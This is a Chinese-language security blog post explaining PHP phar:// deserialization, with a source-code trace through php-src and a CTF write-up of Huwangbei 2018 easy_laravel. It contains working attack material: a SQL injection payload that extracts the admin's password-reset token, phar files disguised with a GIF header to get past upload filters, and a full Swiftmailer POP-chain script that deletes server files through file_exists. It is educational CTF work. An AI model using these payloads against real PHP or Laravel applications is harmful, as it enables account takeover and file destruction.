重新认识反序列化-Phar

0x01 起源

最近工作真的是忙到吐了,很多想学的,想研究的都没得时间,感觉自己真的是好菜好菜。会想写这个的原因是因为最近很多CTF比赛中的题目都涉及到通过 phar 构造反序列化这个议题。而这个议题今年 BlackHat 大会上的 Sam Thomas 分享的 File Operation Induced Unserialization via the “phar://” Stream Wrapper

通常我们在PHP下使用反序列化漏洞的时候,只能先找到 反序列化的点->可利用函数->构造反序列化的POP链->达到目的 。而该研究员指出该方法在 文件系统函数file_get_contentsunlink 等)参数可控的情况下,配合 phar://伪协议 ,可以不依赖反序列化函数 unserialize() 直接进行反序列化的操作。

0x02 原理分析

一、何为phar文件

在了解原理之前,我们查询了一下官方手册,手册里针对 phar:// 这个伪协议是这样介绍的。

Phar archives are best characterized as a convenient way to group several files into a single file. As such, a phar archive provides a way to distribute a complete PHP application in a single file and run it from that file without the need to extract it to disk. Additionally, phar archives can be executed by PHP as easily as any other file, both on the commandline and from a web server. Phar is kind of like a thumb drive for PHP applications.

简单理解 phar:// 就是一个类似 file:// 的流包装器,它的作用可以使得多个文件归档到统一文件,并且在不经过解压的情况下被php所访问,并且执行。

我们来看一下如何制作一个phar文件,具体介绍在这里

img

大体来说 Phar 结构由4部分组成

  • stub :phar文件标识

A stub must contain as a minimum, the __HALT_COMPILER(); token at its conclusion。

1
2
3
4
<?php
Phar::mapPhar();
include 'phar://myphar.phar/index.php';
__HALT_COMPILER();

从描述来看这里似乎有点小问题, phar 文件必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。也就是说如果我们留下这个标志位,构造一个图片或者其他文件,那么可以绕过上传限制,并且被 phar 这函数识别利用。

  • manifest :压缩文件的属性等信息;

img

phar 文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。当然这部分数据以序列化的形式存储在 meta-data 中。

  • contents :压缩文件的内容;
  • signature :签名,放在文件末尾;

img

按照这个文件格式,我们先构造一个 phar 文件吧。在构造phar之时需要先要将 php.ini 中的 phar.readonly 选项设置为 Off ,否则无法生成 phar 文件。

img

这里我们通过测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hello l1nk3r!!!';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

成功创建一个标准的 phar 文件。

img

前面我们刚刚说了,我们可以 phar 文件必须以__HALT_COMPILER();?>来结尾,因此假设这里我们构造一个带有图片文件头部的 phar 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hello l1nk3r!!!';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

img

那么我们看看这个假装自己是图片的phar文件最后的效果。

img

成功被识别出文件内容。

二、为何phar在文件函数中能够反序列化

首先知道创宇 seaii师傅 给出了一些受phar反序列化影响的文件操作函数。

img

首先为什么phar会反序列化处理文件呢,答案在代码 php-src/ext/phar/phar.c:618

1
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)

但是为什么 Phar 在文件操作中能够成功反序列化呢,这个问题应该需要看到源代码才能解答,ZSX师傅的博客《Phar与Stream Wrapper造成PHP RCE的深入挖掘》已经详细介绍了这个问题,不过既然是学习就需要自己跟进一下。首先先看看 file_get_content 等文件函数,基本上都写在了 php-src/ext/standard/file.c 这个文件中,截取一下部分相关代码:

img

从来代码来看应该是调用了 php_stream 系列API来打开一个文件 。从PHP的这篇文档:Streams API for PHP Extension Authors,了解到Stream API是PHP中一种统一的处理文件的方法,并且其被设计为可扩展的,允许任意扩展作者使用。我们可以使用stream_get_wrapper看到系统内注册了哪一些wrapper,就看到这个 phar

img

那我们来看看我们可以看看phar://这个函数的stream的实现,实现位置在 php-src/ext/phar/stream.c:37

img

我们发现这个定义的所有函数都在 php-src/ext/phar/stream.c 中实现,并且均调用了 phar_parse_url

img

img

然后我们发现 phar_parse_url 实现也在 php-src/ext/phar/stream.c 中,调用了 phar_open_or_create_filename 函数。而这个函数的实现是在 php-src/ext/phar/phar.c中:

img

我们发现最后返回了 phar_create_or_parse_filename 这个函数,继续跟进这个函数,它的实现也在 php-src/ext/phar/phar.c中:

img

我们这个函数调用了 phar_open_from_fp ,跟进这个函数,实现也在 php-src/ext/phar/phar.c中:

img

最后可以看到return回了 phar_parse_pharfile 函数,继续跟进这个函数,这个函数实现在 php-src/ext/phar/phar.c 中:

img

这个函数调用了 phar_parse_metadata 函数,而 phar_parse_metadata 实现中就调用了php_var_unserialize 实现发序列化。

img

从刚刚到这里有点乱,稍微总结一下,phar 这个函数注册 stream wrapper 定义了一些文件操作例如,删除、移动、创建等。

1
2
3
4
5
6
7
8
9
10
phar_wrapper_open_url,
NULL, /* phar_wrapper_close */
NULL, /* phar_wrapper_stat, */
phar_wrapper_stat, /* stat_url */
phar_wrapper_open_dir, /* opendir */
"phar",
phar_wrapper_unlink, /* unlink */
phar_wrapper_rename, /* rename */
phar_wrapper_mkdir, /* create directory */
phar_wrapper_rmdir, /* remove directory */

从我们刚刚分析过程中发现这些函数实现过程中的函数调用链是这样的:

phar_parse_url -> phar_open_or_create_filename -> phar_create_or_parse_filename -> phar_open_from_fp -> phar_parse_pharfile -> phar_parse_metadata -> php_var_unserialize

因此这样分析下来只要和文件操作有关的函数均能触发反序列化。

三、进一步探究

本来这里实际上已经解决了我们提出的为什么phar能够在文件操作函数中进行反序列化,但是看完ZSX师傅的文章之后,只能说,师傅牛逼。

对于 stream wrapper 的作用,可以在 php-src/main/php_streams.h:132 找到结构体的定义。

img

简单来看就是一些文件(夹)的创建,修改,删除,移动以及获取文件的metadata都需要用到注册这个 stream wrapper

前面我们已经提及了 file_get_contents 这个函数调用了 php_stream_open_wrapper_ex

1
stream = php_stream_open_wrapper_ex(filename, "rb", (use_include_path ? USE_PATH : 0) | REPORT_ERRORS,NULL, context);

unlink 函数的定义在 php-src/ext/standard/file.c:1517 ,调用了 php_stream_locate_url_wrapper

1
wrapper = php_stream_locate_url_wrapper(filename, NULL, 0);

php_stream_open_wrapper_ex 的实现在 php-src/main/streams/streams.c:67375 中,我们看下代码:

img

依然是调用 php_stream_locate_url_wrapper 。所以之前我们知道所有文件操作函数都有一个共同的特征是 php_stream_locate_url_wrapper ,那么如果带有这个特征的函数时候都能使用 phar 来造成反序列化。当然最后ZSX师傅在他的博客中已经给出了一些他找到的有趣的利用方式。

0x03 漏洞利用

这里选择护网杯 2018 easy_laravel的题目来复现,当时做的时候没做出来,现在重新回头来看看。环境搭建的话。

1
2
3
4
5
git clone https://github.com/sco4x0/huwangbei2018_easy_laravel.git
cd huwangbei2018_easy_laravel
docker build -t 'hwb_easy_laravel' .
docker images
docker run -id --name 'easy_laravel' -m '1G' --network='bridge' -p '80':80 'hwb_easy_laravel'

作为代码审计题目,一般需要看一下路由,一般基于laravel开发的,路由文件在routes/web.php下。

1
2
3
4
5
6
7
8
9
10
Route::get('/', function () { return view('welcome'); });
Auth::routes();
Route::get('/home', 'HomeController@index');
Route::get('/note', 'NoteController@index')->name('note');
Route::get('/upload', 'UploadController@index')->name('upload');
Route::post('/upload', 'UploadController@upload')->name('upload');
Route::get('/flag', 'FlagController@showFlag')->name('flag');
Route::get('/files', 'UploadController@files')->name('files');
Route::post('/check', 'UploadController@check')->name('check');
Route::get('/error', 'HomeController@error')->name('error');

从路由文件中看到了Auth::routes(),这个函数的作用就是访问/home/note等需要认证。通过 php artisan route:list 可以很明显列出权限,这里关注两个东西,一个是 App\Http\Controllers\FlagController@showFlag ,另一个是 App\Http\Controllers\UploadController@files

img

这里要求实际上登录的邮箱用户的账号一定要为 **admin@qvq.im** 。

1
2
3
4
5
6
7
public function handle($request, Closure $next)
{
if ($this->auth->user()->email !== 'admin@qvq.im') {
return redirect(route('error'));
}
return $next($request);
}

但是实际上该邮箱已经被内置,无法注册

img

然后翻一翻文件,在 App\Http\Controllers\NoteController.php 文件中存在明显的SQL注入问题

1
2
3
4
5
6
public function index(Note $note)
{
$username = Auth::user()->name;
$notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
return view('note', compact('notes'));
}

第一反应存在注入的话,我们都会想到把 **admin@qvq.im 账号的密码通过注入搞出来。我们看到这个 $username 可控, $username = Auth::user()->name 意思就是登录用户的用户名,从前面路由我们知道注册用户的路由是在 App\Http\Controllers\Auth\RegisterController@register** ,但是注册用户生成的密码已经加密存入数据库中,存在一定的难度。

1
2
3
4
5
6
7
8
protected function create(array $data)
{
return User::create([
'name' => $data['name'],
'email' => $data['email'],
'password' => bcrypt($data['password']),
]);
}

这里我们再找找关键字 **admin@qvq.im** ,发现该账号的密码是40位的随机数加密,这种情况下基本上没有破解的可能。

1
2
3
4
5
6
7
8
9
$factory->define(App\User::class, function (Faker\Generator $faker) {
static $password;
return [
'name' => '4uuu Nya',
'email' => 'admin@qvq.im',
'password' => bcrypt(str_random(40)),
'remember_token' => str_random(10),
];
});

4uuu Nya 师傅在赛后复盘时候,提到了

但是在laravel5.4中,重置密码的操作很有意思 Illuminate\Auth\Passwords\PasswordBroker.php

1
2
3
4
5
6
7
8
9
10
11
public function sendResetLink(array $credentials)
{
$user = $this->getUser($credentials);
if (is_null($user)) {
return static::INVALID_USER;
}
$user->sendPasswordResetNotification(
$this->tokens->create($user)
);
return static::RESET_LINK_SENT;
}

这里的 第5行 先判断用户是否为存在,如果存在就是在 第九行 为用户生成一个 tokencreate 的操作在 Illuminate\Auth\Passwords\DatabaseTokenRepository.php 中实现了。

1
2
3
4
5
6
7
8
public function create(CanResetPasswordContract $user)
{
$email = $user->getEmailForPasswordReset();
$this->deleteExisting($user);
$token = $this->createNewToken();
$this->getTable()->insert($this->getPayload($email, $token));
return $token;
}

第6行 调用 createNewToken 函数,跟进它。它的实现是通过随机字符hash生成。

1
2
3
4
public function createNewToken()
{
return hash_hmac('sha256', Str::random(40), $this->hashKey);
}

第8行 插入通过 getPayload 的函数处理的数据

1
2
3
4
protected function getPayload($email, $token)
{
return ['email' => $email, 'token' => $token, 'created_at' => new Carbon];
}

从出题师傅为什么选择 Laravel 5.4的原因,在高于5.4的版本中,重置密码这个 token 会被 bcrypt 再存入,就和用户密码一样。高于5.4的版本中多了一步操作就是如下所示。

1
2
3
4
protected function getPayload($email, $token)
{
return ['email' => $email, 'token' => $this->hasher->make($token), 'created_at' => new Carbon];
}

那我们在看看修改密码的操作, database/migrations/2014_10_12_100000_create_password_resets_table.php

1
2
3
4
5
6
public function up()
{
Schema::create('password_resets', function (Blueprint $table) {
$table->string('email')->index();
$table->string('token')->index();
$table->timestamp('created_at')->nullable();

因此这里我们梳理一下思路就是通过注入获取token,通过token重制密码登录,注入payload。

1
l1nk3r' union select 1,token,3,4,5 from password_resets where email='admin@qvq.im'#

img

然后我们通过直接访问http://127.0.0.1/password/reset/{token}

img

登陆之后发现访问flag显示no flag,但是我们看一下FlagController,正常情况下应该是有了。

1
2
3
4
5
public function showFlag()
{
$flag = file_get_contents('/th1s1s_F14g_2333333');
return view('auth.flag')->with('flag', $flag);
}

以前没看过Laravel,看了师傅赛后复盘,知道了blade渲染的问题。在 laravel 中,模板文件是存放在 resources/views 中的,然后会被编译放到 storage/framework/views 中,而编译后的文件存在过期的判断。

Blade 是 Laravel 提供的一个简单而又强大的模板引擎。和其他流行的 PHP 模板引擎不同,Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给你的应用增加任何负担。Blade 视图文件使用 .blade.php 作为文件扩展名,被存放在 resources/views 目录。

Illuminate/View/Compilers/Compiler.php 中可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function getCompiledPath($path)
{
return $this->cachePath.'/'.sha1($path).'.php';
}
/**
* Determine if the view at the given path is expired.
*
* @param string $path
* @return bool
*/
public function isExpired($path)
{
$compiled = $this->getCompiledPath($path);
// If the compiled file doesn't exist we will indicate that the view is expired
// so that it can be re-compiled. Else, we will verify the last modification
// of the views is less than the modification times of the compiled views.
if (! $this->files->exists($compiled)) {
return true;
}
$lastModified = $this->files->lastModified($path);
return $lastModified >= $this->files->lastModified($compiled);
}

而过期时间是依据文件的最后修改时间来判断的,判断服务器上编译后的文件最后修改时间大于原本模板文件。

那么现在有个文件上传,看一下文件上传的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function upload(UploadRequest $request)
{
$file = $request->file('file');
if (($file && $file->isValid())) {
$allowed_extensions = ["bmp", "jpg", "jpeg", "png", "gif"];
$ext = $file->getClientOriginalExtension();
if(in_array($ext, $allowed_extensions)){
$file->move($this->path, $file->getClientOriginalName());
Flash::success('上传成功');
return redirect(route('upload'));
}
}
Flash::error('上传失败');
return redirect(route('upload'));
}

这里只能上传后缀为图片的文件,且上传路径 $this->pathapp/public ,但是该路径限制了访问权限,无法直接访问。

1
2
3
4
5
public function __construct()
{
$this->middleware(['auth', 'admin']);
$this->path = storage_path('app/public');
}

继续往下看的时候发现了惊喜。

1
2
3
4
5
6
7
8
9
10
11
12
13
public function check(Request $request)
{
$path = $request->input('path', $this->path);
$filename = $request->input('filename', null);
if($filename){
if(!file_exists($path . $filename)){
Flash::error('磁盘文件已删除,刷新文件列表');
}else{
Flash::success('文件有效');
}
}
return redirect(route('files'));
}

这里的 file_exists 中的 $path$filename 均可控。 file_exists 是文件操作函数,这里可以尝试搜索一下__destruct

img

/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php 中找到了利用方式。

1
2
3
4
5
6
public function __destruct()
{
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}

从之前分析中,我们知道是基于路径的 sha1 值。

1
return $this->cachePath.'/'.sha1($path).'.php';

在使用管理员身份登录后,可以看到一条note

img

使用了nginx的默认配置,那么flag文件的完整路径就是 /usr/share/nginx/html/resources/views/auth/flag.blade.php,经过sha1后得到 34e41df0934a75437873264cd28e2d835bc38772.php

那么这时候就可以构造phar文件,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
class Swift_ByteStream_AbstractFilterableInputStream {
/**
* Write sequence.
*/
protected $sequence = 0;
/**
* StreamFilters.
*
* @var Swift_StreamFilter[]
*/
private $filters = [];
/**
* A buffer for writing.
*/
private $writeBuffer = '';
/**
* Bound streams.
*
* @var Swift_InputByteStream[]
*/
private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
/** The internal pointer offset */
private $_offset = 0;

/** The path to the file */
private $_path;

/** The mode this file is opened in for writing */
private $_mode;

/** A lazy-loaded resource handle for reading the file */
private $_reader;

/** A lazy-loaded resource handle for writing the file */
private $_writer;

/** If magic_quotes_runtime is on, this will be true */
private $_quotes = false;

/** If stream is seekable true/false, or null if not known */
private $_seekable = null;

/**
* Create a new FileByteStream for $path.
*
* @param string $path
* @param bool $writable if true
*/
public function __construct($path, $writable = false)
{
$this->_path = $path;
$this->_mode = $writable ? 'w+b' : 'rb';

if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
$this->_quotes = true;
}
}

/**
* Get the complete path to the file.
*
* @return string
*/
public function getPath()
{
return $this->_path;
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
public function __construct() {
$filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
parent::__construct($filePath, true);
}
public function __destruct() {
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>

点击 files ,选择 check 触发 file_exit 反序列化,删除 blade模版

img

img

最后flag。

0x04 总结

关于phar的反序列化,实际上不需要 unserialize() 这个函数来触发了,可以通过文件函数来触发。但是还是需要找到利用的 pop链

1、文件操作函数中的 参数可控

2、文件有上传点,可上传构造的特殊 phar文件

3、有可利用的 POP链

当然做这道择护网杯 2018 easy_laravel的时候,因为自己之前只看过thinkphp,没用过Laravel,所以对于这个框架做题时候还不是很熟悉。学习到了 Laravel 5.4重置密码 的trick,以及 blade渲染 的问题。

感谢 4uuu Nya 师傅出了一道这么有趣的题目,感谢 ZSX师傅 的深入探究,学到了。

Refer

利用 phar 拓展 php 反序列化漏洞攻击面

由phpggc理解php反序列化漏洞

Phar与Stream Wrapper造成PHP RCE的深入挖掘

护网杯-easy laravel-Writeup

护网杯2018 easy_laravel writeup与记录